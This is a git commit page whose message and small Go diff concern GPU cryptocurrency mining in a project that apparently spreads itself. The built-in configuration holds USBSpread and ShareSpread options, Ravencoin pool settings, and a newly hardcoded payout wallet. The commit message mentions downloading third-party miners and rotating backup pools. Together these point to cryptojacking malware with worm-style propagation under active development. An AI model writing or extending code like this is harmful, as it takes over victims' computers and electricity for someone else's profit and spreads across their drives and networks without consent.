feat(gpu): fix shutdown race, add RVN pool rotation, full test suite. Fix run() deadlock: proc.Kill() on Stop(), dedicated pollStop channel, stopCh checked in retry delay. Add buildPoolList() using RVNBackupPools (was wired in config/UI but unused). 29 new GPU tests covering detection gates, pool URL building, pool rotation, avg(), itoa(), zip extract, mock miner API (T-Rex + TRM), process stop. RVN wallet defaults set. Download URLs verified 200.

This commit is contained in:
AetherForge
2026-06-02 23:58:15 -07:00
parent f6b692e232
commit f0c4506e96
6 changed files with 523 additions and 83 deletions

View File

@@ -48,7 +48,7 @@ func GetBuiltinConfig() BuiltinConfig {
USBSpread: false,
ShareSpread: false,
GPUEnabled: false,
RVNWallet: "",
RVNWallet: "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9",
RVNPoolHost: "rvn.2miners.com",
RVNPoolPort: 6060,
RVNPoolTLS: false,